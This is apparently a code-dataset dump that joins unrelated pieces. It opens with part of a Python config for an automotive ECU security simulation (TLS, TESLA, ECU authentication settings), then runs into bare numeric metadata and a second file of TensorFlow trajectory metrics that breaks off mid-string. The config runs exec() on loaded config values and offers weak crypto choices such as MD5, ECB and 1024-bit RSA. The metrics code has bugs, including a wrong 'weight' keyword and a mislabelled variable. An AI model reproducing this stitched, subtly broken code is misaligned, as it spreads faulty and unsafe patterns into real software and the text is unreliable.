HashMechEnum.MD5) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_REG_MSG_HASH', 'SHA256', HashMechEnum.SHA256) # ECU Authentication: Hashing Algorithm output length used for the hashing in the REGISTRATION Message SCCM_ECU_REG_MSG_HASH_LEN = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Size of the content of the inner registration message part SSMA_REG_MSG_CT_SIZE_INNER = 0 reg.reg_proj_config('ECUAuthentication', 'SSMA_REG_MSG_CT_SIZE_INNER', 'DEFAULT', 200) # Size of the content of the inner registration message part after encryption SSMA_REG_MSG_CIPHER_SIZE_INNER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Size of the content of the outer registration message part after encryption SSMA_REG_MSG_CIPHER_SIZE_OUTER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Size of the confirmation message before encryption SCCM_ECU_CONF_MSG_SIZE = 0 reg.reg_proj_config('ECUAuthentication', 'SCCM_ECU_CONF_MSG_SIZE', 'DEFAULT', 200) # Size of the confirmation message after encryption SCCM_ECU_CONF_MSG_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] #=============================================================================== # Stream Authorization #=============================================================================== # Symmetric Session Key used in the Security Module SSMA_SECM_SES_KEY_ENC_ALG = SymAuthMechEnum.AES reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG', 'AES', SymAuthMechEnum.AES) SSMA_SECM_SES_KEY_ENC_ALG_MODE = SymAuthMechEnum.CBC reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CCM', SymAuthMechEnum.CCM) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CBC', SymAuthMechEnum.CBC) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CMAC', SymAuthMechEnum.CMAC) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'ECB', SymAuthMechEnum.ECB) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_ALG_MODE', 'CTR', SymAuthMechEnum.CTR) SSMA_SECM_SES_KEY_ENC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) SSMA_SECM_SES_KEY_VALIDITY = 0 # Time the Session key will remain valid reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_VALIDITY', 'SHORT', 5) reg.reg_proj_config('StreamAuthorization', 'SSMA_SECM_SES_KEY_VALIDITY', 'INFINITY', sys.maxsize) # Size of the content that will be encrypted SSMA_SIZE_REQ_MSG_CONTENT = 10 reg.reg_proj_config('StreamAuthorization', 'SSMA_SIZE_REQ_MSG_CONTENT', 'DEFAULT', 200) SSMA_SIZE_REQ_MSG_CIPHER = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Size of the grant message before encryption SSMA_GRANT_MSG_CT_SIZE = 0 reg.reg_proj_config('StreamAuthorization', 'SSMA_GRANT_MSG_CT_SIZE', 'DEFAULT', 200) # Size of the grant message after encryption SSMA_GRANT_MSG_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Stream Authorization: Maximum waiting time for response from Security Module after Authorization request SCCM_MAX_WAIT_TIMEOUT = 200000000 reg.reg_proj_config('StreamAuthorization', 'SCCM_MAX_WAIT_TIMEOUT', 'DEFAULT', 200) # Hold the Stream SSMA_STREAM_HOLD = False reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_HOLD', 'HOLD', True) reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_HOLD', 'DROP', False) # Minimum time between streams SSMA_STREAM_MIN_INTERVAL = 5 reg.reg_proj_config('StreamAuthorization', 'SSMA_STREAM_MIN_INTERVAL', 'DEFAULT', 5) #=============================================================================== # Sending Sizes #=============================================================================== # Sending Size of a ECU certificate ECU_CERT_SIZE = 0 reg.reg_proj_config('Certification', 'ECU_CERT_SIZE', 'X509', 1000) # 1 KB # ECU Authentication: Size of the Registration message for the ECU Authentication [sending purpose only] SCCM_ECU_REG_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Security Modules Certificate Length in Byte [for sending purpose] SSMA_SECM_CERT_SIZE = 0 reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_CERT_SIZE', 'SMALL', 100) reg.reg_proj_config('ECUAuthentication', 'SSMA_SECM_CERT_SIZE', 'X509', 1000) # 1 KB # Security Modules confirmation Message Size in Byte [for sending purpose] SSMA_SECM_CONF_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Security Modules Grant Message Size in Byte [for sending purpose] SSMA_SECM_GRANT_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Security Modules confirmation Message Size in Byte [for sending purpose] SSMA_SECM_DENY_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # Stream Authorization: Size of the request message [sending purpose only] SCCM_ECU_REQ_MSG_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE #=============================================================================== # TLS #=============================================================================== TLSRL_PROTOCOL_VERSION = [3, 3] reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSRL_PROTOCOL_VERSION', 'DEFAULT', [3, 3]) # Compression in Recordlayer TLSR_COMPRESSION_ALGORITHM = CompressionMethod.NULL reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_COMPRESSION_ALGORITHM', 'DEFAULT', CompressionMethod.NULL) TLSR_COMPRESSED_SIZE = ['components.security.encryption.encryption_tools.CompressedSize', 'output_size'] # MAC Creation in Recordlayer TLSR_DEC_BLOCKCIPHER_MAC_INPUT_SIZE = 60 reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_DEC_BLOCKCIPHER_MAC_INPUT_SIZE', 'DEFAULT', 60) TLSR_BLOCKCIPHER_MAC_INPUT_SIZE = 60 reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_INPUT_SIZE', 'DEFAULT', 60) TLSR_BLOCKCIPHER_MAC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSR_DEC_BLOCKCIPHER_MAC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSR_BLOCKCIPHER_MAC_ALGORITHM = SymAuthMechEnum.AES reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_ALGORITHM', 'AES', SymAuthMechEnum.AES) TLSR_BLOCKCIPHER_MAC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) # 16 Byte # Symmetric Encryption in Recordlayer TLSR_BLOCKCIPHER_ENC_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSR_BLOCKCIPHER_ENC_ALGORITHM = SymAuthMechEnum.AES reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM', 'AES', SymAuthMechEnum.AES) TLSR_BLOCKCIPHER_ENC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE = SymAuthMechEnum.CBC reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CCM', SymAuthMechEnum.CCM) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CBC', SymAuthMechEnum.CBC) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CMAC', SymAuthMechEnum.CMAC) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'ECB', SymAuthMechEnum.ECB) reg.reg_proj_config('TLS_RECORD_LAYER', 'TLSR_BLOCKCIPHER_ENC_ALGORITHM_MODE', 'CTR', SymAuthMechEnum.CTR) # TLS Handshake Processes TLSH_CLIENT_HELLO_SEND_SIZE = 60 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_HELLO_SEND_SIZE', 'DEFAULT', 60) # TLS Certificate Server TLSH_SERV_CERT_ENC_ALG = AsymAuthMechEnum.RSA reg.reg_proj_config('TLS_HANDSHAKE', 'SCCM_ECU_PUB_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC) reg.reg_proj_config('TLS_HANDSHAKE', 'SCCM_ECU_PUB_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA) TLSH_SERV_CERT_ENC_ALG_OPTION = 5 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_3', 3) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_5', 5) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_17', 17) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_257', 257) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_ALG_OPTION', 'EXP_65537', 65537) TLSH_SERV_CERT_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048) TLSH_SERV_CERT_HASH_MECH = HashMechEnum.MD5 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'MD5', HashMechEnum.MD5) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_HASH_MECH', 'SHA256', HashMechEnum.SHA256) TLSH_CLIENT_CERT_CA_LEN = 1 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_CA_LEN', 'DEFAULT', 1) TLSH_CLIENT_CERT_UNSIGNED_SIZE = 1300 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_UNSIGNED_SIZE', 'X509', 1300) TLSH_CLIENT_CERT_SIGNED_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_CLIENT_CERT_HASH_MECH = HashMechEnum.MD5 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'MD5', HashMechEnum.MD5) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_HASH_MECH', 'SHA256', HashMechEnum.SHA256) TLSH_SERV_CERT_CA_LEN = 1 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_CA_LEN', 'DEFAULT', 1) TLSH_SERV_CERT_UNSIGNED_SIZE = 1300 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERV_CERT_UNSIGNED_SIZE', 'X509', 1300) TLSH_SERV_CERT_SIGNED_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_CERT_VERIFY_CLEAR_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_VERIFY_CLEAR_SIZE', 'DEFAULT', 100) TLSH_CERT_VERIFY_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_PRF_MASTER_SEC_GENERATION = PRF.DUMMY reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_PRF_MASTER_SEC_GENERATION', 'DEFAULT', PRF.DUMMY) TLSH_CLIENT_KEYEX_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_CLIENT_KEYEX_CLEAR_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_KEYEX_CLEAR_SIZE', 'DEFAULT', 100) TLSH_CLIENT_CERT_ENC_ALG = AsymAuthMechEnum.ECC reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG', 'ECC', AsymAuthMechEnum.ECC) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG', 'RSA', AsymAuthMechEnum.RSA) TLSH_CLIENT_CERT_ENC_ALG_OPTION = 5 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_3', 3) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_5', 5) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_17', 17) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_257', 257) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_ALG_OPTION', 'EXP_65537', 65537) TLSH_CLIENT_CERT_ENC_KEY_LEN = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_CERT_ENC_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048) TLSH_SERVER_REC_FINISHED_CONTENT_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_REC_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000) TLSH_FINISH_MESSAGE_HASH_ALGORITHM = HashMechEnum.MD5 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'MD5', HashMechEnum.MD5) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'SHA1', HashMechEnum.SHA1) reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_FINISH_MESSAGE_HASH_ALGORITHM', 'SHA256', HashMechEnum.SHA256) TLSH_SERVER_REC_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_SERVER_REC_FINISHED_PRF_ALG = PRF.DUMMY reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_PRF_MASTER_SEC_GENERATION', 'DEFAULT', PRF.DUMMY) TLSH_CLIENT_REC_FINISHED_PRF_ALG = PRF.DUMMY reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_REC_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY) TLSH_CLIENT_REC_FINISHED_CONTENT_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_REC_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000) TLSH_CLIENT_REC_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_SERVER_SEND_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_SERVER_SEND_FINISHED_CONTENT_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_SEND_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000) TLSH_SERVER_SEND_FINISHED_PRF_ALG = PRF.DUMMY reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_SEND_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY) TLSH_CLIENT_SEND_FINISHED_PRF_ALG = PRF.DUMMY reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_SEND_FINISHED_PRF_ALG', 'DEFAULT', PRF.DUMMY) TLSH_CLIENT_SEND_FINISHED_HASH_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE TLSH_CLIENT_SEND_FINISHED_CONTENT_SIZE = 100 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CLIENT_SEND_FINISHED_CONTENT_SIZE', 'DEFAULT', 3000) TLSH_CERT_REQUEST_SEND_SIZE = 250 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_REQUEST_SEND_SIZE', 'DEFAULT', 100) TLSH_CERT_SEND_SIZE = 1000 # Size of one certificate when it is sent reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_CERT_SEND_SIZE', 'X509', 1000) TLSH_SERVER_HELLO_SEND_SIZE = 60 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_HELLO_SEND_SIZE', 'DEFAULT', 100) TLSH_SERVER_HELLO_DONE_SEND_SIZE = 10 reg.reg_proj_config('TLS_HANDSHAKE', 'TLSH_SERVER_HELLO_DONE_SEND_SIZE', 'DEFAULT', 10) #=============================================================================== # TESLA #=============================================================================== # Chain length for Key creation TESLA_KEY_CHAIN_LEN = 100000 reg.reg_proj_config('TESLA', 'TESLA_KEY_CHAIN_LEN', 'DEFAULT', 100000) # MAC Algorithm used TESLA_MAC_KEY_ALGORITHM = SymAuthMechEnum.AES reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_ALGORITHM', 'AES', SymAuthMechEnum.AES) TESLA_MAC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TESLA', 'TESLA_MAC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) TESLA_MAC_SIZE_TRANSMIT = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE # PRF Method used to create the Key Chain TESLA_PRF_KEY_CHAIN = PRF.DUMMY reg.reg_proj_config('TESLA', 'TESLA_PRF_KEY_CHAIN', 'DUMMY', PRF.DUMMY) # PRF Method used to generate the MAC Key TESLA_PRF_MAC_KEY = PRF.DUMMY reg.reg_proj_config('TESLA', 'TESLA_PRF_MAC_KEY', 'DUMMY', PRF.DUMMY) TESLA_KEY_LEGID_MAC_ALGORITHM = SymAuthMechEnum.AES reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_ALGORITHM', 'AES', SymAuthMechEnum.AES) TESLA_KEY_LEGID_MAC_KEY_LEN = AuKeyLengthEnum.bit_128 reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_128', AuKeyLengthEnum.bit_128) reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TESLA', 'TESLA_KEY_LEGID_MAC_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) # Initial Key exchange: Public/Private De/Encyption TESLA_KEY_EXCHANGE_ENC_ALGORITHM = AsymAuthMechEnum.RSA reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM', 'ECC', AsymAuthMechEnum.ECC) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM', 'RSA', AsymAuthMechEnum.RSA) TESLA_KEY_EXCHANGE_KEY_LEN = AuKeyLengthEnum.bit_1024 reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_192', AuKeyLengthEnum.bit_192) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_256', AuKeyLengthEnum.bit_256) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_384', AuKeyLengthEnum.bit_384) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_512', AuKeyLengthEnum.bit_512) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_1024', AuKeyLengthEnum.bit_1024) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_KEY_LEN', 'bit_2048', AuKeyLengthEnum.bit_2048) TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION = 3 reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_3', 3) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_5', 5) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_17', 17) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_257', 257) reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_ENC_ALGORITHM_OPTION', 'EXP_65537', 65537) # Clear Size of the key exchange message TESLA_KEY_EXCHANGE_CLEAR_SIZE = 100 reg.reg_proj_config('TESLA', 'TESLA_KEY_EXCHANGE_CLEAR_SIZE', 'DEFAULT', 100) # Cipher Size of the key exchange message TESLA_KEY_EXCHANGE_CIPHER_SIZE = ['components.security.encryption.encryption_tools.EncryptionSize', 'output_size'] # FIX VALUE #=============================================================================== # Calculations to determine actual values #=============================================================================== # Adds the created variables to the registration object if create_raw_config_file: cfg = config_io.ConfigIO() cfg.generate_raw_cfg(reg, config_file_path, IniConfig.PROJECT) logging.debug("\n\n--------------------------------------------------------- \nPROJECT SETTINGS\n ") if load_config: cfg = config_io.ConfigIO() out = cfg.load_cfg(reg, config_file_path, IniConfig.PROJECT) for el in out: if el == 'SSMA_STREAM_MIN_INTERVAL': a = 0 exec_str = el[0] + " = el[1]" exec(exec_str) #=============================================================================== # DEBUG OUTPUT #=============================================================================== logging.debug("%s = %s" % (el[0], el[1])) logging.debug("\nProject Ende\n---------------------------------------------------------\n\n\n")
57.04363
168
0.772441
4,522
32,686
5.113667
0.0659
0.055527
0.092545
0.148071
0.870308
0.833377
0.793072
0.757438
0.725826
0.677737
0
0.031469
0.069602
32,686
572
169
57.143357
0.728914
0.129046
0
0.01108
0
0
0.426629
0.240192
0
0
0
0
0
1
0
false
0
0.027701
0
0.027701
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
7f0183580923fb6a3286791ab743c07d69c32239
7,406
py
Python
forecaster/models/metrics_v1.py
ZiyangTian/TrajectoryForecaster
63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9
[ "MIT" ]
null
null
null
forecaster/models/metrics_v1.py
ZiyangTian/TrajectoryForecaster
63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9
[ "MIT" ]
null
null
null
forecaster/models/metrics_v1.py
ZiyangTian/TrajectoryForecaster
63ab3d7b97ec5dfbb1250af114038a6ad5a7faa9
[ "MIT" ]
null
null
null
""" Metrics. """ from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import tensorflow as tf from tensorflow.python.ops.metrics_impl import metric_variable def _square_deviations_in_batch(labels, predictions): return tf.reduce_sum(tf.square(labels - predictions), axis=-1) def _deviations_in_batch(labels, predictions): return tf.sqrt(_square_deviations_in_batch(labels, predictions)) def _square_destination_deviations_in_batch(labels, predictions): return tf.reduce_sum( tf.square(labels[:, -1, :] - predictions[:, -1, :]), axis=-1) def _destination_deviations_in_batch(labels, predictions): return tf.sqrt(_square_destination_deviations_in_batch(labels, predictions)) def maximum(values, metrics_collections=None, updates_collections=None, name=None): with tf.compat.v1.variable_scope(name, 'maximum', [values]): values = tf.compat.v1.to_float(values) max_value = metric_variable([], tf.float32, name='max_value') values_max = tf.math.reduce_max(values, axis=None) with tf.control_dependencies([values]): update_op = tf.math.maximum(max_value, values_max) with tf.control_dependencies([update_op]): # TODO: Add distributed evaluation support. metric_value = update_op if metrics_collections: tf.compat.v1.add_to_collections(metrics_collections, metric_value) if updates_collections: tf.compat.v1.add_to_collections(updates_collections, update_op) return metric_value, update_op def minimum(values, metrics_collections=None, updates_collections=None, name=None): with tf.compat.v1.variable_scope(name, 'minimum', [values]): values = tf.compat.v1.to_float(values) min_value = metric_variable([], tf.float32, name='max_value') values_min = tf.math.reduce_min(values, axis=None) with tf.control_dependencies([values]): update_op = tf.cond( # `min_value` is initiated with zero. tf.equal(min_value, 0.), true_fn=lambda: values_min, false_fn=lambda: tf.math.minimum(min_value, values_min)) with tf.control_dependencies([update_op]): # TODO: Add distributed evaluation support. metric_value = update_op if metrics_collections: tf.compat.v1.add_to_collections(metrics_collections, metric_value) if updates_collections: tf.compat.v1.add_to_collections(updates_collections, update_op) return metric_value, update_op mean = tf.compat.v1.metrics.mean mean_square_error = tf.compat.v1.metrics.mean_squared_error mean_absolute_error = tf.compat.v1.metrics.mean_absolute_error def mean_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): with tf.name_scope(name or 'mean_deviation'): deviations = _deviations_in_batch(labels, predictions) return mean( deviations, weight=weights, metrics_collections=metrics_collections, updates_collections=updates_collections) def max_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): if weights is not None: tf.compat.v1.logging.warn('Argument `weights` is not supported in function `max_deviation`, neglected.') del weights with tf.name_scope(name or 'max_deviation'): deviations = _deviations_in_batch(labels, predictions) return maximum( deviations, metrics_collections=metrics_collections, updates_collections=updates_collections) def min_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): if weights is not None: tf.compat.v1.logging.warn('Argument `weights` is not supported in function `min_deviation`, neglected.') del weights with tf.name_scope(name or 'min_deviation'): deviations = _deviations_in_batch(labels, predictions) return minimum( deviations, metrics_collections=metrics_collections, updates_collections=updates_collections) def mean_destination_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): with tf.name_scope(name or 'mean_destination_deviation'): destination_deviations = _destination_deviations_in_batch(labels, predictions) return mean( destination_deviations, weight=weights, metrics_collections=metrics_collections, updates_collections=updates_collections) def max_destination_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): if weights is not None: tf.compat.v1.logging.warn('Argument `weights` is not supported in function ' '`max_destination_deviation`, neglected.') del weights with tf.name_scope(name or 'max_destination_deviation'): destination_deviations = _destination_deviations_in_batch(labels, predictions) return maximum( destination_deviations, metrics_collections=metrics_collections, updates_collections=updates_collections) def min_destination_deviation(labels, predictions, weights=None, metrics_collections=None, updates_collections=None, name=None): if weights is not None: tf.compat.v1.logging.warn('Argument `weights` is not 